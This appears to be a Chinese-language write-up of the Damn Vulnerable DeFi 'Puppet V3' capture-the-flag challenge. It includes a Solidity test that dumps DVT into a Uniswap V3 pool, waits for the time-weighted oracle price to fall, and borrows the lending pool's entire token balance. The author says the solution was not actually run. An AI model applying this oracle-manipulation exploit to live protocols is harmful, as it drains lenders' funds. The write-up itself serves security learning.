Bear or bull market, true DeFi devs keep building. Remember that lending pool you helped? A new version is out.
They’re now using Uniswap V3 as an oracle. That’s right, no longer using spot prices! This time the pool queries the time-weighted average price of the asset, with all the recommended libraries.
The Uniswap market has 100 WETH and 100 DVT in liquidity. The lending pool has a million DVT tokens.
Starting with 1 ETH and some DVT, you must save all from the vulnerable lending pool. Don’t forget to send them to the designated recovery account.
NOTE: this challenge requires a valid RPC URL to fork mainnet state into your local environment.
這題又跑回去 V2 ,同樣是採用預言機,所以我們依然可以嘗試使用預言機操縱價格
可是在題目中有提到,這次的預言機採用了 Uniswap V3
的時間加權平均價格,所以我們需要時間,等平均價格到我們可以把底池打包帶走的時候再發起借貸
function test_puppetV3() public checkSolvedByPlayer {
// 定義 Uniswap V3 的 SwapRouter 地址
ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
// 批准 SwapRouter 操作所有的 DVT 代幣
token.approve(address(swapRouter), type(uint256).max);
// 批准借貸池操作所有的 WETH
weth.approve(address(lendingPool), type(uint256).max);
// 使用 Uniswap V3 將 DVT 兌換成 WETH
swapRouter.exactInputSingle(
ISwapRouter.ExactInputSingleParams({
tokenIn: address(token), // 輸入代幣為 DVT
tokenOut: address(weth), // 輸出代幣為 WETH
fee: FEE, // 交易手續費
recipient: player, // 收件地址為玩家地址
deadline: block.timestamp, // 交易截止時間
amountIn: PLAYER_INITIAL_TOKEN_BALANCE, // 兌換的 DVT 數量
amountOutMinimum: 0, // 最小可接受的 WETH 數量
sqrtPriceLimitX96: 0 // 最小價格限制(可忽略)
})
);
// 迴圈,用來跳過區塊時間,直到能夠借出所需的 WETH
for (uint256 i = 0; i < 70; i++) {
skip(1); // 跳過一個區塊
// 如果玩家擁有的 WETH 超過借貸池要求的存款數量,則借出代幣
if (weth.balanceOf(player) > lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE)) {
lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE); // 借出貸款池中的 DVT
console.log("i:", i); // 輸出當前迭代次數
break; // 結束迴圈
}
}
// 將借出的 DVT 代幣轉移至恢復地址
token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);
}
這一題會需要設定好 RPC URL,但我懶得弄(癱
每日梗圖(1/1)